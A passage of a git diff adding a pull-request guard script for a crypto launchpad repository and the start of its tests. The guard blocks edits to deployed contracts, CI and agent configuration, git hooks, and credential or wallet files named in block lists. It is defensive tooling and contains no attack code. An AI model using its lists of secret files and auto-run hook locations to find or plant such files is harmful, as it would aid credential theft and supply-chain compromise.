0; i + 1 < parts.length; i += 2) { + const m = /^:(\d{6}) (\d{6}) ([0-9a-f]{40}) ([0-9a-f]{40}) ([A-Z])/.exec(parts[i]); + if (!m) throw new Error("unreadable diff entry"); + changes.push({ oldMode: m[1], newMode: m[2], oldSha: m[3], newSha: m[4], status: m[5], path: parts[i + 1] }); + } + return changes; +} + +const stripCr = (line) => (line.endsWith("\r") ? line.slice(0, -1) : line); +/** A zero-context unified diff to { added: [{ n, text }], removed: [text] }. */ +export function parseHunks(diff) { + const added = [], removed = []; + let n = 0, inHunk = false; + for (const line of diff.split("\n")) { + const m = /^@@ -\d+(?:,\d+)? \+(\d+)(?:,\d+)? @@/.exec(line); + if (m) { n = Number(m[1]); inHunk = true; } + else if (!inHunk) continue; + else if (line.startsWith("+")) added.push({ n: n++, text: stripCr(line.slice(1)) }); + else if (line.startsWith("-")) removed.push(stripCr(line.slice(1))); + } + return { added, removed }; +} +const allLines = (text) => { + const lines = text.split("\n"); + if (lines.at(-1) === "") lines.pop(); + return lines.map((line, i) => ({ n: i + 1, text: stripCr(line) })); +}; + +/** The pull request's own changes: merge base of `base` and `head` to `head`, read from the git objects in `cwd`. */ +export function openRepo(cwd, base, head) { + const git = (args, { literal = true, ...options } = {}) => + execFileSync("git", [...(literal ? ["--literal-pathspecs"] : []), "-c", "core.quotePath=false", ...args], { + cwd, maxBuffer: 512 * 1024 * 1024, timeout: 120_000, stdio: ["pipe", "pipe", "pipe"], ...options, + env: { ...process.env, GIT_TERMINAL_PROMPT: "0", GIT_OPTIONAL_LOCKS: "0" }, + }); + const text = (args) => git(args).toString("utf8").trim(); + const headSha = text(["rev-parse", "--verify", "--quiet", `${head}^{commit}`]); + const baseSha = text(["rev-parse", "--verify", "--quiet", `${base}^{commit}`]); + const mergeBase = text(["merge-base", baseSha, headSha]); + const changes = parseRaw(git(["diff-tree", "-r", "-z", "--no-renames", "--no-abbrev", mergeBase, headSha]).toString("utf8")); + + /** + * Every match of an extended regex in the merge base's files. Submodule contents are not part of the tree, and package + * lockfiles are left out: the hundreds of hosts they mention are not hosts this code talks to. + */ + const baseMatches = (pattern) => { + try { + const where = [":(top)", ...["package-lock.json", "npm-shrinkwrap.json", "yarn.lock", "pnpm-lock.yaml"].map((name) => `:(top,exclude,glob)**/${name}`)]; + return git(["grep", "-I", "-h", "-o", "-i", "-E", pattern, mergeBase, "--", ...where], { literal: false }).toString("utf8").split("\n").filter(Boolean); + } catch (error) { + if (error.status === 1) return []; + throw error; + } + }; + return { + headSha, baseSha, mergeBase, changes, baseMatches, + /** The file's bytes, or null when it is larger than the guard reads. */ + blob: (sha) => { + try { + return git(["cat-file", "blob", sha], { maxBuffer: MAX_BLOB_BYTES }); + } catch (error) { + if (error.code === "ENOBUFS") return null; + throw error; + } + }, + diff: (oldSha, newSha) => parseHunks(git(["diff", "-U0", "--text", "--no-color", "--no-ext-diff", "--no-textconv", oldSha, newSha]).toString("utf8")), + baseText: (path) => { + try { + return git(["cat-file", "blob", `${mergeBase}:${path}`]).toString("utf8"); + } catch { + return null; + } + }, + basePaths: () => git(["ls-tree", "-r", "-z", "--name-only", mergeBase]).toString("utf8").split("\0").filter(Boolean), + }; +} + +const lazy = (make) => { + let value; + return () => (value ??= make()); +}; + +/** Every finding for the pull request. `lockedPaths` comes from the trusted checkout, never from the pull request. */ +export function analyze(repo, { lockedPaths }) { + const findings = []; + const add = (rule, path, detail, line = null) => findings.push({ rule, tier: RULES[rule].tier, path, detail, line }); + const facts = lazy(() => ({ + addresses: new Set(repo.baseMatches("0x[0-9a-f]{40,}").filter((hit) => hit.length === 42).map((hit) => hit.toLowerCase())), + hosts: new Set(repo.baseMatches("(https?|wss?|ftp)://[a-z0-9.-]+").map((hit) => hit.replace(/^[a-z]+:\/\//i, "").replace(/\.+$/, "").toLowerCase())), + env: new Set(repo.baseMatches("(process\\.env|import\\.meta\\.env)(\\.[a-z_][a-z0-9_]*|\\[[^]]+\\])").map((hit) => /\.env\.?\[?\s*["'`]?([A-Za-z_]\w*)/.exec(hit)?.[1]).filter(Boolean)), + })); + /** lowercase path or folder -> its spelling in the base tree */ + const spellings = lazy(() => { + const map = new Map(); + for (const path of repo.basePaths()) { + const parts = path.split("/"); + for (let i = 1; i <= parts.length; i++) { + const prefix = parts.slice(0, i).join("/"); + map.set(prefix.toLowerCase(), prefix); + } + } + return map; + }); + + const locked = (path) => lockedPaths.has(path) || path.startsWith(LOCKED_FOLDER); + + let scanned = 0; + for (const change of repo.changes) { + const { path, status, oldMode, newMode } = change; + const gone = status === "D"; + + if (hiddenCharacter(path) || /[\\\n\r\t]/.test(path) || path.split("/").includes("..")) add("odd-path", path, "the file name"); + if (locked(path)) add("contract-locked", path, gone ? "deleted" : status === "A" ? "added" : "edited"); + if (oldMode === "160000" || newMode === "160000") add("submodule", path, gone ? "removed" : status === "A" ? "added" : "pinned to a different commit"); + if (newMode === "120000") add("symlink", path, "a symbolic link"); + for (const [rule, re] of BLOCK_PATHS) if (re.test(path)) add(rule, path, gone ? "deleted" : status === "A" ? "added" : "changed"); + if (!gone && SECRET_FILE.test(path)) add("secret-file", path, status === "A" ? "added" : "changed"); + if (status === "A") { + const parts = path.split("/"); + for (let i = 1; i <= parts.length; i++) { + const prefix = parts.slice(0, i).join("/"); + const existing = spellings().get(prefix.toLowerCase()); + if (existing && existing !== prefix) { add("case-collision", path, `collides with ${existing}`); break; } + } + } + if (!locked(path) && !BLOCK_PATHS.some(([, re]) => re.test(path))) { + const match = REVIEW_PATHS.find(([, re]) => re.test(path)); + if (match) add(match[0], path, gone ? "deleted" : status === "A" ? "added" : "changed"); + else if (!gone && newMode === "100755" && oldMode !== "100755") add("build-deploy", path, "marked executable"); + } + if (OTHER_LOCK.test(path) && !gone) add("dependencies", path, "a lockfile for another package manager"); + + if (gone || (newMode !== "100644" && newMode !== "100755")) continue; + if (++scanned > MAX_SCAN_FILES) { add("unscanned", path, `more than ${MAX_SCAN_FILES} files in one pull request`); continue; } + try { + const bytes = repo.blob(change.newSha); + if (!bytes) { add("unscanned", path, `larger than ${MAX_BLOB_BYTES / 1_000_000} MB`); continue; } + const byteFindings = scanBytes(path, bytes); + if (byteFindings) { for (const f of byteFindings) add(f.rule, f.path, f.detail, f.line); continue; } + if (bytes.length > MAX_TEXT_BYTES) { add("unscanned", path, `a text file of ${Math.ceil(bytes.length / 1_000_000)} MB`); continue; } + + if (MANIFEST.test(path)) for (const f of lintManifest(path, bytes.toString("utf8"), repo.baseText(path))) add(f.rule, f.path, f.detail); + if (NPM_LOCK.test(path)) { + for (const f of lintNpmLock(path, bytes.toString("utf8"), repo.baseText(path))) add(f.rule, f.path, f.detail); + continue; // thousands of registry URLs and hashes: the structure check above is the scan + } + const lines = status === "A" || /^0+$/.test(change.oldSha) || oldMode === "160000" || oldMode === "120000" + ? { added: allLines(bytes.toString("utf8")), removed: [] } + : repo.diff(change.oldSha, change.newSha); + const found = scanLines(path, lines.added, lines.removed, facts()); + // blocks first, so a flood of minor findings cannot push one off the end + found.sort((a, b) => (RULES[a.rule].tier === "block" ? 0 : 1) - (RULES[b.rule].tier === "block" ? 0 : 1)); + for (const f of found.slice(0, MAX_FINDINGS_PER_FILE)) add(f.rule, f.path, f.detail, f.line); + if (found.length > MAX_FINDINGS_PER_FILE) add("unscanned", path, `${found.length - MAX_FINDINGS_PER_FILE} more findings in this file are not listed`); + } catch (error) { + add("unscanned", path, `could not be read (${error.code ?? error.status ?? "error"})`); + } + } + return findings; +} + +// ---------- verdict ---------- + +/** The owner who approved exactly `headSha`, or null. Each owner's latest verdict counts; a comment is not a verdict. */ +export function ownerApproval(reviews, owners, headSha) { + const latest = new Map(); + const ordered = [...reviews].sort((a, b) => String(a.submitted_at ?? "").localeCompare(String(b.submitted_at ?? "")) || (a.id ?? 0) - (b.id ?? 0)); + for (const review of ordered) { + const login = String(review.user?.login ?? "").toLowerCase(); + if (!owners.includes(login) || !["APPROVED", "CHANGES_REQUESTED", "DISMISSED"].includes(review.state)) continue; + latest.set(login, review); + } + for (const [login, review] of latest) if (review.state === "APPROVED" && review.commit_id === headSha) return login; + return null; +} + +/** + * pass / review / block. An owner's own pull request, at a commit an owner pushed, turns "review" findings into notices; + * so does an owner's approval of the exact head commit. Nothing turns a "block" into a pass. + */ +export function verdict(findings, { author, sender, approvedBy, owners = OWNERS }) { + const is = (login) => owners.includes(String(login ?? "").toLowerCase()); + const blocks = findings.filter((f) => f.tier === "block").length; + const reviews = findings.filter((f) => f.tier === "review").length; + const ownPr = is(author) && is(sender); + if (blocks > 0) return { outcome: "block", ok: false, blocks, reviews, ownPr, approvedBy: null }; + if (reviews > 0 && !ownPr && !approvedBy) return { outcome: "review", ok: false, blocks, reviews, ownPr, approvedBy: null }; + return { outcome: "pass", ok: true, blocks, reviews, ownPr, approvedBy: reviews > 0 && !ownPr ? approvedBy : null }; +} + +// ---------- report ---------- + +/** Untrusted text made safe to print: one line, no control characters, bounded. */ +export const plain = (value, max = 200) => { + const text = String(value).replace(/[\u0000-\u001F\u007F-\u009F\u2028\u2029]/g, " ").replace(/[\u061C\u200B-\u200F\u202A-\u202E\u2060-\u2069\uFEFF]/g, "?"); + return text.length > max ? `${text.slice(0, max)}…` : text; +}; +const code = (value) => `\`${plain(value).replace(/`/g, "'") || " "}\``; +/** A workflow command with its data and properties escaped, so file names and details cannot start a command of their own. */ +export function annotation(level, { path, line, title }, message) { + const data = (s) => plain(s, 400).replace(/%/g, "%25").replace(/\r/g, "%0D").replace(/\n/g, "%0A"); + const property = (s) => data(s).replace(/:/g, "%3A").replace(/,/g, "%2C"); + const properties = [`title=${property(title)}`]; + if (path && /^[\w@./+ -]+$/.test(path)) properties.push(`file=${property(path)}`, ...(line ? [`line=${line}`] : [])); + return `::${level} ${properties.join(",")}::${data(message)}`; +} + +/** [[rule, [[path, [finding…]]…]]…] in rule order. */ +function grouped(findings, tier) { + const byRule = new Map(); + for (const f of findings) { + if (f.tier !== tier) continue; + if (!byRule.has(f.rule)) byRule.set(f.rule, new Map()); + const byPath = byRule.get(f.rule); + if (!byPath.has(f.path)) byPath.set(f.path, []); + byPath.get(f.path).push(f); + } + return Object.keys(RULES).filter((rule) => byRule.has(rule)).map((rule) => [rule, [...byRule.get(rule)]]); +} +const describe = (list) => { + const seen = new Map(); + for (const f of list) { + if (!seen.has(f.detail)) seen.set(f.detail, []); + if (f.line) seen.get(f.detail).push(f.line); + } + const parts = [...seen].slice(0, 6).map(([detail, lines]) => { + const where = lines.length === 0 ? "" : ` (line ${lines.slice(0, 4).join(", ")}${lines.length > 4 ? `, +${lines.length - 4}` : ""})`; + return `${plain(detail)}${where}`; + }); + return parts.join("; ") + (seen.size > 6 ? `; and ${seen.size - 6} more` : ""); +}; + +export function renderSummary(findings, result, { headSha, owners = OWNERS, note = "" }) { + const short = headSha.slice(0, 7); + const names = owners.map((login) => `@${login}`).join(" or "); + const out = []; + if (result.outcome === "block") { + out.push("## pr-guard: blocked", "", `${result.blocks} blocking ${result.blocks === 1 ? "finding" : "findings"} at \`${short}\`. These are refused for everyone. Take the change out of the pull request, or a repository admin merges it with an explicit bypass after reading it.`); + } else if (result.outcome === "review") { + out.push("## pr-guard: needs an owner's approval", "", `Nothing is blocked, and ${result.reviews} sensitive ${result.reviews === 1 ? "change needs" : "changes need"} a look from ${names}.`, "", `**To pass:** ${names} reads the points below, approves commit \`${short}\` with a pull request review, then re-runs this job. A new push needs a new approval.`); + } else if (result.reviews > 0) { + out.push("## pr-guard: passed", "", result.approvedBy ? `@${result.approvedBy} approved commit \`${short}\`. The sensitive changes are listed below for the record.` : `An owner's own pull request at \`${short}\`. The sensitive changes are listed below as notices.`); + } else { + out.push("## pr-guard: passed", "", `Nothing blocked and nothing sensitive at \`${short}\`.`); + } + if (note) out.push("", `> ${plain(note)}`); + let budget = 400; + for (const [tier, heading] of [["block", "Blocked"], ["review", result.ok ? "Sensitive changes" : "Needs an owner's approval"]]) { + const groups = grouped(findings, tier); + if (groups.length === 0) continue; + out.push("", `### ${heading}`); + for (const [rule, paths] of groups) { + out.push("", `**${RULES[rule].title}** (\`${rule}\`) `, RULES[rule].help, ""); + for (const [path, list] of paths) { + if (--budget < 0) break; + out.push(`- ${code(path)}: ${describe(list)}`); + } + if (budget < 0) out.push("- and more; the list is cut here"); + } + } + return `${out.join("\n")}\n`; +} + +export function renderText(findings, result) { + const out = [`pr-guard: ${result.outcome} (${result.blocks} blocking, ${result.reviews} for review)`]; + for (const tier of ["block", "review"]) { + for (const [rule, paths] of grouped(findings, tier)) { + out.push(` [${tier}] ${rule}: ${RULES[rule].title}`); + for (const [path, list] of paths) out.push(` ${plain(path)}: ${describe(list)}`); + } + } + return out.join("\n"); +} + +// ---------- entry point ---------- + +async function fetchReviews({ api, repository, number, token }) { + const reviews = []; + for (let page = 1; page <= 20; page++) { + const response = await fetch(`${api}/repos/${repository}/pulls/${number}/reviews?per_page=100&page=${page}`, { + headers: { accept: "application/vnd.github+json", "x-github-api-version": "2022-11-28", ...(token ? { authorization: `Bearer ${token}` } : {}) }, + }); + if (!response.ok) throw new Error(`reviews: HTTP ${response.status}`); + const batch = await response.json(); + reviews.push(...batch); + if (batch.length < 100) return reviews; + } + throw new Error("reviews: too many pages"); +} + +async function main(argv, env) { + const flag = (name) => (argv.includes(`--${name}`) ? argv[argv.indexOf(`--${name}`) + 1] : undefined); + const cwd = resolve(flag("repo") ?? "."); + const head = flag("head") ?? env.GUARD_HEAD; + const base = flag("base") ?? env.GUARD_BASE ?? "HEAD"; + if (!head) throw new Error("no head commit: pass --head or set GUARD_HEAD"); + const author = flag("author") ?? env.PR_AUTHOR ?? ""; + const sender = flag("sender") ?? env.EVENT_SENDER ?? author; + + // the lock is read from this checkout (main's copy in CI), never from the pull request + const lockedPaths = parseLock(readFileSync(resolve(flag("lock") ?? LOCK_PATH), "utf8")); + if (lockedPaths.size <= ALWAYS_LOCKED.length) throw new Error(`${LOCK_PATH} lists no deployed files`); + + const repo = openRepo(cwd, base, head); + const findings = analyze(repo, { lockedPaths }); + + let approvedBy = argv.includes("--approved") ? OWNERS[0] : null; + let note = ""; + const needsApproval = findings.some((f) => f.tier === "review") && !findings.some((f) => f.tier === "block"); + if (needsApproval && !approvedBy && env.PR_NUMBER && env.GITHUB_REPOSITORY) { + try { + const reviews = await fetchReviews({ api: env.GITHUB_API_URL ?? "https://api.github.com", repository: env.GITHUB_REPOSITORY, number: env.PR_NUMBER, token: env.GITHUB_TOKEN }); + approvedBy = ownerApproval(reviews, OWNERS, repo.headSha); + } catch (error) { + note = `Could not read the pull request's reviews (${error.message}), so no approval was counted. Re-run this job.`; + } + } + const result = verdict(findings, { author, sender, approvedBy }); + + if (argv.includes("--json")) { + console.log(JSON.stringify({ result, findings }, null, 1)); + return result.ok ? 0 : 1; + } + console.log(renderText(findings, result)); + if (note) console.log(` note: ${plain(note)}`); + if (env.GITHUB_STEP_SUMMARY) appendFileSync(env.GITHUB_STEP_SUMMARY, renderSummary(findings, result, { headSha: repo.headSha, note })); + if (env.GITHUB_ACTIONS) { + const level = { block: "error", review: result.ok ? "notice" : "warning" }; + for (const tier of ["block", "review"]) { + for (const f of findings.filter((f) => f.tier === tier).slice(0, 10)) { + console.log(annotation(level[tier], { path: f.path, line: f.line, title: `pr-guard: ${RULES[f.rule].title}` }, `${f.path}: ${f.detail}`)); + } + } + } + return result.ok ? 0 : 1; +} + +if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) { + // any failure of the guard itself is a failed check, never a pass + main(process.argv.slice(2), process.env).then( + (exit) => process.exit(exit), + (error) => { + console.log(`pr-guard could not finish, so the check fails: ${plain(error?.message ?? error, 300)}`); + process.exit(1); + }, + ); +} diff --git a/.github/scripts/pr-guard.test.mjs b/.github/scripts/pr-guard.test.mjs new file mode 100644 index 00000000..e1ee69b5 --- /dev/null +++ b/.github/scripts/pr-guard.test.mjs @@ -0,0 +1,853 @@ +// Tests for pr-guard.mjs. Each case builds a small git repository shaped like this one, makes the change a pull request +// would make, and asks the guard what it sees. node --test .github/scripts/pr-guard.test.mjs +// +// Invisible characters are built from code points and credentials from pieces, so this file holds neither. + +import assert from "node:assert/strict"; +import { execFileSync, spawnSync } from "node:child_process"; +import { chmodSync, mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { after, before, describe, test } from "node:test"; +import { fileURLToPath } from "node:url"; + +import { + OWNERS, RULES, analyze, annotation, hiddenCharacter, hostOf, lintManifest, lintNpmLock, openRepo, ownerApproval, parseHunks, + parseLock, plain, renderSummary, renderText, scanLines, verdict, +} from "./pr-guard.mjs"; + +const GUARD = fileURLToPath(new URL("./pr-guard.mjs", import.meta.url)); +const cp = (...codes) => String.fromCodePoint(...codes); + +// ---------- fixture ---------- + +const ROUTER = "0x6fF5693b99212Da76ad316178A184AB56D299b43"; +const STRANGER = "0x1234567890AbcdEF1234567890aBcdef12345678"; +const PIN = "886b4f8b63409ef474542de6394d25a9b5908ed3"; +const PNG = Buffer.concat([Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]), Buffer.alloc(40, 1)]); + +const LOCK = [ + "# deployed sources", + `sha256 ${"1b".repeat(32)} contracts/src/LaunchFactory.sol`, + `sha256 ${"e3".repeat(32)} contracts/src/LaunchLocker.sol`, + `sha256 ${"34".repeat(32)} contracts/foundry.toml`, + `sha256 ${"77".repeat(32)} contracts/deployments/launchpad-base.json`, + `gitlink ${PIN} contracts/lib/forge-std`, + "", +].join("\n"); +const LOCKED = parseLock(LOCK); + +const entry = (name, version, extra = {}) => ({ + version, + resolved: `https://registry.npmjs.org/${name}/-/${name.split("/").pop()}-${version}.tgz`, + integrity: `sha512-${"A".repeat(86)}==`, + ...extra, +}); +const lockfile = (packages) => + `${JSON.stringify({ name: "openlaunch", lockfileVersion: 3, packages: { "": { name: "openlaunch" }, ...Object.fromEntries(Object.entries(packages).map(([name, e]) => [`node_modules/${name}`, e])) } }, null, 2)}\n`; +const manifest = (fields) => `${JSON.stringify({ name: "openlaunch", private: true, scripts: { test: "tsx --test", build: "next build" }, dependencies: { sharp: "^0.35.4", viem: "^2.47.6" }, ...fields }, null, 2)}\n`; +const BASE_LOCK = { sharp: entry("sharp", "0.35.4"), viem: entry("viem", "2.47.6"), esbuild: entry("esbuild", "0.28.2", { hasInstallScript: true }), "@scope/pkg": entry("@scope/pkg", "1.0.0") }; + +const ROUTE = [ + 'import { verifyMessage } from "viem";', + "export async function POST(request) {", + " if (await rateLimited(request)) return tooMany();", + " const ok = await verifyMessage({ address, message, signature });", + " if (!ok || !(await consumeNonce(nonce))) return denied();", + " return save(await request.json());", + "}", + "", +].join("\n"); + +const BASE = { + "README.md": "# openlaunch\n\nLaunch should be open and free. Docs: https://openlaunch.lol/agents\n", + "LICENSE": "MIT\n", + "SECURITY.md": "Report to security@gitlawb.com\n", + ".gitignore": "node_modules/\n.env\n", + ".gitmodules": '[submodule "contracts/lib/forge-std"]\n\tpath = contracts/lib/forge-std\n\turl = https://github.com/foundry-rs/forge-std\n', + ".github/workflows/ci.yml": "name: ci\n", + ".github/workflows/pr-guard.yml": "name: pr-guard\n", + ".github/scripts/pr-guard.mjs": "// guard\n", + "contracts/deployed.lock": LOCK, + "contracts/foundry.toml": '[profile.default]\nsolc_version = "0.8.26"\n', + "contracts/src/LaunchFactory.sol": "// SPDX-License-Identifier: MIT\ncontract LaunchFactory {}\n", + "contracts/src/LaunchLocker.sol": "// SPDX-License-Identifier: MIT\ncontract LaunchLocker {}\n", + "contracts/deployments/launchpad-base.json": `{ "LaunchFactory": "0x815542E8b392389A1389E22E588E4B62A67Ade72" }\n`, + "contracts/script/check-deployed-sources.sh": { content: "#!/usr/bin/env bash\n", mode: 0o755 }, + "contracts/lib/forge-std": { gitlink: PIN }, + "app/package.json": manifest({}), + "app/package-lock.json": lockfile(BASE_LOCK), + "app/Dockerfile": "FROM node:22-slim\n", + "app/db/schema.sql": "create table if not exists launches (id text primary key);\n", + "app/public/logo.png": PNG, + "app/src/lib/security-headers.ts": "export const csp = \"default-src 'self'\";\n", + "app/src/lib/launchpad/config.ts": `export const NATIVE = "0x0000000000000000000000000000000000000000";\nexport const ROUTER = "${ROUTER}";\nexport const RPC = process.env.BASE_RPC_URL ?? "https://mainnet.base.org";\n`, + "app/src/app/api/post/route.ts": ROUTE, + "app/src/components/Hero.tsx": "export function Hero() {\n return

Launch should be open and free.

;\n}\n", + "app/src/components/hero.test.ts": 'import test from "node:test";\ntest("hero", () => {});\n', +}; + +const GIT_ENV = { + ...process.env, GIT_CONFIG_GLOBAL: "/dev/null", GIT_CONFIG_NOSYSTEM: "1", GIT_TERMINAL_PROMPT: "0", + GIT_AUTHOR_NAME: "test", GIT_AUTHOR_EMAIL: "test@example.com", GIT_COMMITTER_NAME: "test", GIT_COMMITTER_EMAIL: "test@example.com", +}; +let dir, lockFile, baseSha; +const git = (args, input) => execFileSync("git", args, { cwd: dir, input, env: GIT_ENV, stdio: ["pipe", "pipe", "pipe"] }).toString().trim(); + +/** + * Write a set of changes and commit them. A value is the file's text or bytes; null deletes; { symlink }, { gitlink }, + * { content, mode } and { index } (a file that exists only in git, for names a Mac cannot hold side by side) do the rest. + */ +function commit(files, message) { + const late = []; + for (const [path, value] of Object.entries(files)) { + const full = join(dir, path); + if (value === null) { rmSync(full, { recursive: true, force: true }); continue; } + if (value?.gitlink) { mkdirSync(full, { recursive: true }); late.push(["160000", value.gitlink, path]); continue; } + if (value?.index !== undefined) { late.push(["100644", git(["hash-object", "-w", "--stdin"], value.index), path]); continue; } + mkdirSync(dirname(full), { recursive: true }); + rmSync(full, { recursive: true, force: true }); + if (value?.symlink) { symlinkSync(value.symlink, full); continue; } + writeFileSync(full, value?.content ?? value); + if (value?.mode) chmodSync(full, value.mode); + } + git(["add", "-A", "-f"]); // -f: a pull request can force-add what .gitignore lists + for (const [mode, sha, path] of late) git(["update-index", "--add", "--cacheinfo", `${mode},${sha},${path}`]); + git(["commit", "-q", "--allow-empty", "-m", message]); + return git(["rev-parse", "HEAD"]); +} + +/** The head commit of a pull request that makes `changes` on top of the base. */ +function pullRequest(changes) { + git(["checkout", "-q", "-f", "--detach", baseSha]); + git(["reset", "-q", "--hard", baseSha]); + git(["clean", "-fdxq"]); + return commit(changes, "pull request"); +} +const check = (changes) => analyze(openRepo(dir, baseSha, pullRequest(changes)), { lockedPaths: LOCKED }); +const rules = (findings) => [...new Set(findings.map((f) => f.rule))].sort(); +const of = (findings, rule) => findings.filter((f) => f.rule === rule); +const details = (findings, rule) => of(findings, rule).map((f) => f.detail).join(" | "); + +before(() => { + dir = mkdtempSync(join(tmpdir(), "pr-guard-")); + lockFile = join(mkdtempSync(join(tmpdir(), "pr-guard-lock-")), "deployed.lock"); + writeFileSync(lockFile, LOCK); + git(["init", "-q", "-b", "main"]); + git(["config", "core.ignorecase", "false"]); + baseSha = commit(BASE, "base"); +}); +after(() => { + rmSync(dir, { recursive: true, force: true }); + rmSync(dirname(lockFile), { recursive: true, force: true }); +}); + +// ---------- the contract freeze ---------- + +describe("deployed contracts", () => { + test("editing a locked source is blocked", () => { + const found = check({ "contracts/src/LaunchFactory.sol": "// SPDX-License-Identifier: MIT\ncontract LaunchFactory { }\n" }); + assert.deepEqual(rules(found), ["contract-locked"]); + assert.equal(found[0].tier, "block"); + assert.equal(found[0].detail, "edited"); + }); + + test("a one-byte change is enough", () => { + assert.deepEqual(rules(check({ "contracts/src/LaunchLocker.sol": "// SPDX-License-Identifier: MIT\ncontract LaunchLocker {}\n\n" })), ["contract-locked"]); + }); + + test("deleting a locked source is blocked", () => { + const found = check({ "contracts/src/LaunchLocker.sol": null }); + assert.deepEqual(rules(found), ["contract-locked"]); + assert.equal(found[0].detail, "deleted"); + }); + + test("renaming a locked source is a deletion plus a new file", () => { + const found = check({ "contracts/src/LaunchFactory.sol": null, "contracts/src/Factory.sol": "// SPDX-License-Identifier: MIT\ncontract LaunchFactory {}\n" }); + assert.deepEqual(rules(found), ["contract-locked", "contracts"]); + }); + + test("the lock, its check script, the build settings and the deployment records are locked too", () => { + for (const path of ["contracts/deployed.lock", "contracts/script/check-deployed-sources.sh", "contracts/foundry.toml", "contracts/deployments/launchpad-base.json"]) { + assert.deepEqual(rules(check({ [path]: "changed\n" })), ["contract-locked"], path); + } + }); + + test("a locked file cannot be swapped for a symlink", () => { + assert.deepEqual(rules(check({ "contracts/foundry.toml": { symlink: "../app/package.json" } })), ["contract-locked", "symlink"]); + }); + + test("a new contract file is allowed, for an owner to read", () => { + const found = check({ "contracts/src/LaunchFactoryBnb.sol": "// SPDX-License-Identifier: MIT\ncontract LaunchFactoryBnb {}\n" }); + assert.deepEqual(rules(found), ["contracts"]); + assert.equal(found[0].tier, "review"); + }); + + test("a new contract that adds an owner or a pause names the ground rule it breaks", () => { + const found = check({ "contracts/src/Vault.sol": "contract Vault is Ownable {\n /// no admin here\n function stop() external onlyOwner { _pause(); }\n}\n" }); + assert.deepEqual(rules(found), ["contract-rules", "contracts"]); + assert.match(details(found, "contract-rules"), /Ownable/); + assert.match(details(found, "contract-rules"), /onlyOwner/); + assert.doesNotMatch(details(found, "contract-rules"), /admin/, "comment lines are not code"); + }); + + test("tests, scripts and docs under contracts/ need an owner as well", () => { + assert.deepEqual(rules(check({ "contracts/test/New.t.sol": "contract NewTest {}\n" })), ["contracts"]); + assert.deepEqual(rules(check({ "contracts/docs/NOTES.md": "notes\n" })), ["contracts"]); + }); + + test("re-pinning a library is blocked", () => { + const found = check({ "contracts/lib/forge-std": { gitlink: "1".repeat(40) } }); + assert.deepEqual(rules(found), ["contract-locked", "submodule"]); + assert.match(details(found, "submodule"), /different commit/); + }); + + test("a new submodule anywhere is blocked, and so is the submodule table", () => { + const found = check({ "vendor/kit": { gitlink: "2".repeat(40) }, ".gitmodules": '[submodule "vendor/kit"]\n\tpath = vendor/kit\n\turl = https://github.com/someone/kit\n' }); + assert.deepEqual(rules(found), ["contract-locked", "submodule"]); + assert.deepEqual(of(found, "submodule").map((f) => f.path), ["vendor/kit"]); + }); + + test("nothing is added beside the pinned libraries", () => { + const found = check({ "contracts/lib/v4-core/src/Hooks.sol": "library Hooks {}\n" }); + assert.deepEqual(rules(found), ["contract-locked"]); + assert.equal(found[0].detail, "added"); + }); + + test("a name that differs from a contract only by letter case is blocked", () => { + const found = check({ "contracts/src/launchfactory.sol": { index: "contract LaunchFactory { address owner; }\n" } }); + assert.ok(rules(found).includes("case-collision")); + assert.match(details(found, "case-collision"), /contracts\/src\/LaunchFactory\.sol/); + }); + + test("a folder that differs only by letter case is caught as well", () => { + assert.ok(rules(check({ "Contracts/src/Extra.sol": { index: "contract Extra {}\n" } })).includes("case-collision")); + }); + + test("parseLock reads both kinds of line and always includes the lock's own guards", () => { + assert.ok(LOCKED.has("contracts/src/LaunchFactory.sol") && LOCKED.has("contracts/lib/forge-std")); + assert.ok(LOCKED.has("contracts/deployed.lock") && LOCKED.has(".gitmodules") && LOCKED.has("contracts/script/check-arc-factory.sh")); + assert.ok(!parseLock("sha256 nothex contracts/src/X.sol\n").has("contracts/src/X.sol")); + }); +}); + +// ---------- CI and developer machines ---------- + +describe("CI and machine configuration", () => { + test("editing, adding or deleting anything under .github is blocked", () => { + assert.deepEqual(rules(check({ ".github/workflows/ci.yml": "name: ci\non: push\n" })), ["ci-config"]); + assert.deepEqual(rules(check({ ".github/workflows/extra.yml": "name: extra\n" })), ["ci-config"]); + assert.deepEqual(rules(check({ ".github/workflows/pr-guard.yml": null })), ["ci-config"]); + assert.deepEqual(rules(check({ ".github/scripts/pr-guard.mjs": "// no guard\n" })), ["ci-config"]); + assert.deepEqual(rules(check({ "CODEOWNERS": "* @someone\n" })), ["ci-config"]); + }); + + test("agent instructions, editor tasks and git hooks are blocked", () => { + for (const path of ["CLAUDE.md", "AGENTS.md", "app/AGENTS.md", ".claude/settings.json", ".cursor/rules/a.mdc", ".cursorrules", ".mcp.json", ".vscode/tasks.json", ".devcontainer/devcontainer.json", ".husky/pre-commit", ".envrc", "app/.envrc"]) { + const found = check({ [path]: "x\n" }); + assert.ok(rules(found).includes("dev-machine"), path); + assert.ok(found.every((f) => f.rule !== "dev-machine" || f.tier === "block"), path); + } + }); + + test("tool managers that run hooks are covered", () => { + assert.ok(rules(check({ "mise.toml": "[hooks]\nenter = 'echo hi'\n" })).includes("dev-machine")); + assert.ok(rules(check({ ".lefthook.yml": "pre-commit:\n" })).includes("dev-machine")); + }); + + test("the match ignores letter case, because a Mac does", () => { + assert.ok(rules(check({ "claude.md": "x\n" })).includes("dev-machine")); + }); + + test("package manager configuration is blocked", () => { + assert.deepEqual(rules(check({ "app/.npmrc": "loglevel=error\n" })), ["registry-config"]); + assert.ok(rules(check({ ".yarnrc.yml": "npmRegistryServer: x\n" })).includes("registry-config")); + }); + + test("a symlink is blocked", () => { + assert.deepEqual(rules(check({ "app/public/readme": { symlink: "../../README.md" } })), ["symlink"]); + }); + + test("a file name with a line break or an invisible character is blocked", () => { + assert.ok(rules(check({ "app/src/a\nb.ts": "export {};\n" })).includes("odd-path")); + assert.ok(rules(check({ [`app/src/safe${cp(0x202e)}st.ts`]: "export {};\n" })).includes("odd-path")); + }); +}); + +// ---------- credentials ---------- + +describe("credentials", () => { + const key = "c0ffee".repeat(10) + "abcd"; + test("environment, key and wallet files are blocked by name", () => { + for (const path of [".env", "app/.env.local", "app/.env.production", "contracts/.rh-lp-wallet.address", "deploy.pem", "contracts/keystore/deployer", "wallet-backup.json", ".aws/credentials"]) { + assert.ok(rules(check({ [path]: 